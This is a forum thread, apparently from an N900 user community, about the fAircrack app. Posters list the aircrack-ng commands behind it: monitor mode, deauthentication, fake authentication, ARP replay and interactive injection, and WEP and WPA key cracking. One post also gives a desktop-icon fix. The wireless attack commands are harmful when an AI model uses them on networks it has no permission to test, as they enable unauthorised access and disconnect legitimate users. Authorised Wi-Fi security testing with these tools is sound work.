Notices

Originally Posted by Mr Wolf

Just curious to know, if possible : what are the commands used by fAircrack?
I use these commands on Xterminal (from my past use of Aircrack ):

/home/user/MyDocs/wl1251-maemo/binary/compat-wireless # sh load.sh
(Load Bleeding-edge wl1251 drivers)

Originally Posted by Mr Wolf

airmon-ng stop ath0
airmon-ng start wlan0
(Put wireless interface in monitor mode)

Originally Posted by Mr Wolf

airodump-ng -c [canal] mon0
(Show all available networks on a specific canal)

aireplay-ng -1 0 -e [AP ESSID] -a [AP BSSID] -h [N900 MAC Address] mon0
(Make a false authentication)

aireplay-ng -3 -b [AP BSSID] -h [N900 MAC Address] mon0
(Perform ARP Request Attack)

airodump-ng -c [canal] --bssid [AP BSSID] -w [capture] mon0
(Capture IV packets and write them to file)

aircrack-ng -z [capture*.cap]
(Find the key)

However, write these commands on the Nokia N900 is quite a pain in the a...

fAircrack is a must have application!!!

Originally Posted by StefanL

for interactive injection (since v0.46)

Originally Posted by Estel

I may be totally wrong here, but AFAIK, they're not - due to increased power usage, while associated to AP and in standby mode. The fix for it would require osso-something, that is now waiting to get released in CSSU-Testing.

AFAIK (again), kernel-power just provide those drivers (for now, as later, they may be used by default), so they can be loaded without keeping them in some folder - isn't Cleven doing it this way?

Anyway, I've tested it a second ago, and while Monitor mode work without loading injection drivers, injection itself doesn't (surprise ). It starts, but doesn't inject anything, even when requirements (MAC from allowed list, ARP catched etc) are meet. No problem with Injection drivers under same conditions.

/Estel

// Edit

It may be worth to mention, that I've found how to finally *properly* fix a eons-old bug with icon. Just put faircrack.png it into '/usr/share/icons/hicolor/48x48/apps', then, in .desktop file, modify line icon=faircrack (*without* .png).

All the trick is that default icon path is '/usr/share/icons/hicolor/48x48/apps', so desktop looks there, unless specified otherwise (via icon path or something) in .desktop file.

This way, icon is displayed properly in desktop, but also in menu etc. I've fixed *every* program with wrong .desktop file and icon location on my device, this way.

One reminder - reboot is *mandatory* after this, or you'll be fooled by "no-icon". There are ways to restart things, but they don't work reliably (sometimes works, sometimes doesn't), so before You conclude "it doesn't work" - and switch it back to full icon path - reboot device.

/Estel

Originally Posted by StefanL

Yes, fAircrack implements this on the Monitor Tab using the Enable Injection button.


No, fAircrack uses ifconfig, iwconfig commands to put wlan0 into monitor / managed mode.

Code:

sudo ifconfig wlan0 down
sudo iwconfig wlan0 mode Monitor
sudo ifconfig wlan0 up

fAircrack uses for capture

Code:

sudo airodump-ng --channel X --bssid BSSID --write FILE wlan0

for deauthentication

Code:

sudo aireplay-ng -0 10 -a BSSID wlan0

for authentication

Code:

sudo aireplay-ng -1 5 -q 10 -a BSSID -h MYMAC wlan0

for injection

Code:

sudo aireplay-ng -3 -b BSSID -h MYMAC wlan0

for interactive injection (since v0.46)

Code:

sudo aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b BSSID -h MYMAC wlan0

to crack WEP key

Code:

aircrack-ng -l KEYFILE CAPFILES

to crack WPA key using wordlist

Code:

aircrack-ng WORDLIST -l KEYFILE CAPFILES

to search for APs and clients

Code:

sudo airodump-ng -w FILE wlan0

Originally Posted by Estel

Is it typo, or have I missed update? Your signature also list 0.45 as latest version. If 0.46 is available, could You please provide link and changelog?
---

As for test, I'll gladly do it after returning home

/Estel

Originally Posted by Mr Wolf

Many thanks!
I've just noticed a thing: shouldn't it be:

aireplay-ng -1 0 -e [AP ESSID] -a [AP BSSID] -h [N900 MAC Address] wlan0

I mean, you must specify AP ESSID (name)?

I wrote once in Aircrack forum (look at the bottom):
http://forum.aircrack-ng.org/index.p...=3309.msg18601
asking why it was necessary specify network name, and they answered me it was part of the standards.
In fact, if ESSID is hidden, you must find it, first.